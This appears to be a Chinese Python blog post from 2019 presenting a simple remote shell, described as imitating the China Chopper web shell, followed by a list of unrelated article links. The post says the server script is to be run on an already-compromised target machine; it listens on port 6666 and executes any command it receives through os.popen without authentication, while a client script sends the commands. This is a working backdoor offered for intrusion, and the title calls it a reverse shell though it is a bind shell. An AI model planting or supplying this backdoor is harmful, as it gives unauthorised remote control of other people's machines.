python模拟菜刀反弹shell绕过限制【推荐】


Posted in Python onJune 25, 2019

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
Python3基础之list列表实例解析
Aug 13 Python
Python中zfill()方法的使用教程
May 20 Python
Python回调函数用法实例详解
Jul 02 Python
Python编码爬坑指南(必看)
Jun 10 Python
​如何愉快地迁移到 Python 3
Apr 28 Python
使用python爬取抖音视频列表信息
Jul 15 Python
django框架ModelForm组件用法详解
Dec 11 Python
vscode写python时的代码错误提醒和自动格式化的方法
May 07 Python
使用keras实现BiLSTM+CNN+CRF文字标记NER
Jun 29 Python
Python接收手机短信的代码整理
Aug 02 Python
Numpy实现卷积神经网络(CNN)的示例
Oct 09 Python
matplotlib之属性组合包(cycler)的使用
Feb 24 Python
Pandas之DataFrame对象的列和索引之间的转化
Jun 25 #Python
Pandas之Fillna填充缺失数据的方法
Jun 25 #Python
PYQT5实现控制台显示功能的方法
Jun 25 #Python
Pandas之Dropna滤除缺失数据的实现方法
Jun 25 #Python
PyQT5 QTableView显示绑定数据的实例详解
Jun 25 #Python
Pandas之ReIndex重新索引的实现
Jun 25 #Python
Python中使用__new__实现单例模式并解析
Jun 25 #Python
You might like
PHP删除特定数组内容并且重建数组索引的方法.
2011/03/25 PHP
php中filter函数验证、过滤用户输入的数据
2014/01/13 PHP
php获取随机数组列表的方法
2014/11/13 PHP
php无限分类使用concat如何实现
2015/11/05 PHP
浅析Laravel5中队列的配置及使用
2016/08/04 PHP
PHP PDOStatement::getAttribute讲解
2019/02/01 PHP
JavaScript创建类/对象的几种方式概述及实例
2013/05/06 Javascript
jquery滚动条插件jScrollPane的使用介绍
2013/11/08 Javascript
利用javascript实现禁用网页上所有文本框,下拉菜单,多行文本域
2013/12/14 Javascript
JQuery.validationEngine表单验证插件(推荐)
2016/12/10 Javascript
js图片放大镜效果实现方法详解
2020/10/28 Javascript
python爬取安居客二手房网站数据(实例讲解)
2017/10/19 Javascript
微信小程序checkbox组件使用详解
2018/01/31 Javascript
解决layui中的form表单与button的点击事件冲突问题
2018/08/15 Javascript
Element Backtop回到顶部的具体使用
2020/07/27 Javascript
python 网络编程详解及简单实例
2017/04/25 Python
详解python里使用正则表达式的分组命名方式
2017/10/24 Python
python绘制直线的方法
2018/06/30 Python
Python实现朴素贝叶斯分类器的方法详解
2018/07/04 Python
Python脚本利用adb进行手机控制的方法
2019/07/08 Python
python实现高斯(Gauss)迭代法的例子
2019/11/20 Python
Python Tornado核心及相关原理详解
2020/06/24 Python
用Python进行websocket接口测试
2020/10/16 Python
python实现b站直播自动发送弹幕功能
2021/02/20 Python
详解CSS中iconfont的使用
2015/08/04 HTML / CSS
eDreams巴西:廉价机票,酒店优惠和度假套餐
2017/04/14 全球购物
西班牙语在线票务市场:SuperBoletería
2019/06/10 全球购物
幼儿园数学教学反思
2014/02/02 职场文书
领班岗位职责范文
2014/02/06 职场文书
拆迁委托协议书
2014/09/15 职场文书
代办出身证明书
2014/10/21 职场文书
计划生育个人总结
2015/03/02 职场文书
Mysql systemctl start mysqld报错的问题解决
2021/06/03 MySQL
浅谈spring boot使用thymeleaf版本的问题
2021/08/04 Java/Android
muduo TcpServer模块源码分析
2022/04/26 Redis
Fluentd搭建日志收集服务
2022/09/23 Servers